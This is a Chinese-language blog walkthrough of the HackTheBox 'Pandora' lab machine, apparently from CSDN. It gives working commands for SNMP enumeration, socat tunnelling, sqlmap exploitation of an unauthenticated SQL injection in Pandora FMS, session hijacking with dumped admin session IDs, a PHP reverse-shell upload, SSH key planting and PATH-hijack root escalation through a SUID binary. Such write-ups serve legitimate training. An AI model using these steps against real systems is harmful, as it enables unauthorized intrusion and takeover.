HackTheBox:Pandora靶场

HackTheBox:Pandora靶场


这个靶场是一台linux机器,上边搭载了两个cms,其中涉及到对信息搜集、ssh证书登录、suid提权、sql注入等知识的考验

信息搜集

nmap走一遍什么也没

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -Pn 10.10.11.136
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-21 21:18 CST
Nmap scan report for 10.10.11.136
Host is up (1.8s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

没办法,whatweb看看cms

说可能是WordPress,但是wpscan扫了结果并不是,目录扫描也没结果,只跑出来一个assets目录
在这里插入图片描述

做到这里,显然htb没有把突破点放在前台,就是一个模拟常见网站的cms,去别的地方再看看


按照论坛里老哥说的,信息搜集做不够,那再来一遍:

masscan -p1-65535,U:1-65535 10.10.10.239 --rate=1000 -e tun0

最后找到一个UDP161端口,看看服务:

┌──(root㉿kali)-[~]
└─# nmap -sU -sV -p U:161 10.10.11.136
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-22 17:00 CST
Nmap scan report for 10.10.11.136
Host is up (0.43s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: pandora

查一下,这个突破点放在这里,大概率是snmp信息泄露,直接上snmpwalk,跑了十多分钟,眼睛都看花了

snmpwalk -v 2c -c public 10.10.11.136
在这里插入图片描述
里面找到一个命令信息,使用账号密码ssh登录上去试一试:


进入靶机

好家伙,水晶保险柜不给钥匙,想办法能直接提root不就行啦?
在这里插入图片描述
ps -aux也没找到可以的提权进程
到这里用lineas.sh跑一遍,有个CVE-2021-4034可以用,查了一下时间,靶机发布的时候还没有这个洞,那么高手肯定是不屑于走捷径滴
在这里插入图片描述
找suid

find / -uid 0 -perm -4000 -type f 2>/dev/null

找到一个奇怪的程序,但是以当前daniel的用户没有权限运行,因为是属于matt的文件,那看来拿到matt之后也就能拿到root了,因为suid设置失误,可以用来提权
在这里插入图片描述

进到web目录里发现还有一个名为pandora的文件夹,然后结合lineas.sh里看到的hosts文件,应该是本地开了个网站
在这里插入图片描述
根据机子上hosts文件,在kali上调整hosts文件之后再去访问,拒绝访问,推测只能从本机、内网访问

Hostname, hosts and DNS
pandora
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora

10.10.11.136 pandora.htb #添加到本机/etc/hosts

因此做个流量转发,正好靶机里有个socat,种种可能都暗示就是这样走下去!
结果一顿折腾,socat不知是什么情况连接不被允许,以前只有在防火墙策略被拦过,现在没办法,只好找一条新路

kali本地kali本地
socat -d tcp-listen:9997,reuseaddr,bind=0.0.0.0,fork tcp4-listen:9996,bind=0.0.0.0,reuseaddr,retry=100
ssh上
socat -d tcp:10.10.16.16:9996,forever,intervall=0.1,fork tcp:localhost:80
以上命令

后来发觉一直用的是socks5的代理,socat似乎直接走http就行,我敲!
在这里插入图片描述
浏览器一改,直接发现新大陆,是pandora这个cms的后台,版本742:
在这里插入图片描述
OK,上一个0day admin:admin跑一跑,好伐,失败,bp爆破也没法子,我宣布这个cms没有漏洞,打道回府回去其他地方提权
在这里插入图片描述


SQL注入

exploit-db上有不少pandora的利用,但是版本对不上,几个rce也是需要认证的
在这里插入图片描述

然后在csdn上找到一个无需授权的sql注入,在/include/chart_generator.php路径下的session_id
CSDN yyds

https://blog.csdn.net/weixin_39866419/article/details/111109722

使用sqlmap跑,最后挨个表都看看,最有用的如下所示啦

sqlmap -u "http://pandora.htb/pandora_console/include/chart_generator.php?session_id=''" --batch --proxy=http://127.0.0.1:9997
sqlmap -u "http://pandora.htb/pandora_console/include/chart_generator.php?session_id=''" --batch --proxy=http://127.0.0.1:9997 --dbms=mysql -D pandora -T tsessions_php -C id_session,data --dump

id_session,data
09vao3q1dikuoi1vhcvhcjjbc6,“id_usuario|s:6:”“daniel”“;”
0ahul7feb1l9db7ffp8d25sjba,NULL
0bsac6g2k1180bb1busbs23jbp,NULL
1um23if7s531kqf5da14kf5lvm,NULL
2bgo8b5bubrakf69j3bo6joekt,NULL
2e25c62vc3odbppmg6pjbf9bum,NULL
2l2iuv1laidcc9pj1utocl9gce,NULL
346uqacafar8pipuppubqet7ut,“id_usuario|s:6:”“daniel”“;”
3me2jjab4atfa5f8106iklh4fc,NULL
4f51mju7kcuonuqor3876n8o02,NULL
4nsbidcmgfoh1gilpv8p5hpi2s,“id_usuario|s:6:”“daniel”“;”
59qae699l0971h13qmbpqahlls,NULL
5fihkihbip2jioll1a8mcsmp6j,NULL
5gv90lbag8e7u5f0imb5kb3gcc,NULL
5i352tsdh7vlohth30ve4o0air,“id_usuario|s:6:”“daniel”“;”
5rrk5b27d6gafk3m5mpo01algl,“id_usuario|s:6:”“daniel”“;”
69gbnjrc2q42e8aqahb1l2s68n,“id_usuario|s:6:”“daniel”“;”
81f3uet7p3esgiq02d4cjj48rc,NULL
84k0cgcvcmtf9rkfk57sfc1f3p,NULL
8k1f0hjgp9h1ftagql3m9nojt0,NULL
8m2e6h8gmphj79r9pq497vpdre,“id_usuario|s:6:”“daniel”“;”
8upeameujo9nhki3ps0fu32cgd,NULL
9vv4godmdam3vsq8pu78b52em9,“id_usuario|s:6:”“daniel”“;”
a3a49kc938u7od6e6mlip1ej80,NULL
agfdiriggbt86ep71uvm1jbo3f,“id_usuario|s:6:”“daniel”“;”
cojb6rgubs18ipb35b3f6hf0vp,NULL
d0carbrks2lvmb90ergj7jv6po,NULL
e6ue70qse2iftr6d7dn08rgikb,NULL
f0qisbrojp785v1dmm8cu1vkaj,“id_usuario|s:6:”“daniel”“;”
fikt9p6i78no7aofn74rr71m85,NULL
fqd96rcv4ecuqs409n5qsleufi,NULL
g0kteepqaj1oep6u7msp0u38kv,“id_usuario|s:6:”“daniel”“;”
g4e01qdgk36mfdh90hvcc54umq,“id_usuario|s:4:”“matt”“;alert_msg|a:0:{}new_chat|b:0;”
g5j7vd90nh4aj4579guvp5fr3v,“id_usuario|s:5:”“admin”“;alert_msg|a:0:{}new_chat|b:0;csrf_code|s:32:”“e8a701aaafa566e594e0d9e19757be5a”“;”
gf40pukfdinc63nm5lkroidde6,NULL
heasjj8c48ikjlvsf1uhonfesv,NULL
hsftvg6j5m3vcmut6ln6ig8b0f,“id_usuario|s:6:”“daniel”“;”
iv4b5k35s79gfulfht7jm0smed,NULL
jecd4v8f6mlcgn4634ndfl74rd,“id_usuario|s:6:”“daniel”“;”
kp90bu1mlclbaenaljem590ik3,NULL
mdlm1omba1om2la71jsrbtjo0p,“id_usuario|s:6:”“daniel”“;”
ne9rt4pkqqd0aqcrr4dacbmaq3,NULL
o3kuq4m5t5mqv01iur63e1di58,“id_usuario|s:6:”“daniel”“;”
oi2r6rjq9v99qt8q9heu3nulon,“id_usuario|s:6:”“daniel”“;”
pakk1n0s6lrj9cjlda0h2buraj,NULL
pjp312be5p56vke9dnbqmnqeot,“id_usuario|s:6:”“daniel”“;”
qjng1r929csokvqbkujaig07u7,NULL
qq8gqbdkn8fks0dv1l9qk6j3q8,NULL
r097jr6k9s7k166vkvaj17na1u,NULL
rgku3s5dj4mbr85tiefv53tdoa,“id_usuario|s:6:”“daniel”“;”
sg21i0bclk7oea8n3osn8pi3vd,NULL
snp5ta5qshncnbigkiobt0ne9s,NULL
u5ktk2bt6ghb7s51lka5qou4r4,“id_usuario|s:6:”“daniel”“;”
u74bvn6gop4rl21ds325q80j0e,“id_usuario|s:6:”“daniel”“;”

最后发觉跑出来的东西没用,不涉及账号密码,但是这个session_id起的名字也很奇怪,如果加在url后面会怎样?根据爆破出来的三个用户的id依次尝试(开两个页面,一个换id,一个直接访问pandora.htb主页),嘻嘻成功登录管理界面,要注意daniel是没法访问这个后台的,只有matt和admin的可以,并且两个账户的后台也不完全相同,可见
在这里插入图片描述
在这里插入图片描述

我用的是g5j7vd90nh4aj4579guvp5fr3v这个id,在admin的后台里找到了一个允许文件上传的地方,找一个php_reverseshell传上去,在ssh里找到绝对路径,然后web访问就可以回连一个shell啦!
在这里插入图片描述
接着拿到user.txt
![在这里插入图片描述](https://img-blog.csdnimg.cn/3660007b1f7d4bd6bb0578044460b01d.png


提权root

这里呢获得matt的shell之后,根据先前suid看到的,可以看出这个文件会执行web网站备份,那么通过改变环境变量来执行,可以获得一个root的shell
在这里插入图片描述
以为到了这一步之后就很简单了,但是事实证明我还是太年轻:

$ echo “/bin/bash” > tar
$ chmod +x tar
$ export PATH=/home/matt:$PATH
$ /usr/bin/pandora_backup

id
uid=1000(matt) gid=1000(matt) groups=1000(matt)
whoami
matt

执行之后并没有返回一个shell,我仍然在原先php返回的shell里,进程列表里也显示成功利用错误路径下的tar执行了备份文件,一开始还以为网卡,执行了好几次
在这里插入图片描述
猜测是nc半交互式的特点导致的shell未反弹,那么得想办法拿到一个正常的shell
那么合理利用信息搜集,论坛上的老哥提到ssh可以证书登录,这才点醒了我
过程我就不再赘述了,大致就是利用ssh-keygen生成ssh公私钥,然后在kali上利用这个公钥证书ssh登录,获得matt的ssh shell

在这里插入图片描述
cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys

在kali上,把私钥拷贝过来写进id_rsa内
chmod 600 id_rsa
ssh matt@10.10.11.136 -i id

成功登录上去,按照刚才做的suid来提权,终于拿下这破easy机子
在这里插入图片描述


没想到这台机子遇到的困难会如此之多,但是确实学到了不少,尤其是涉及到ssh登录以及交互式shell对命令执行的反馈不同
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值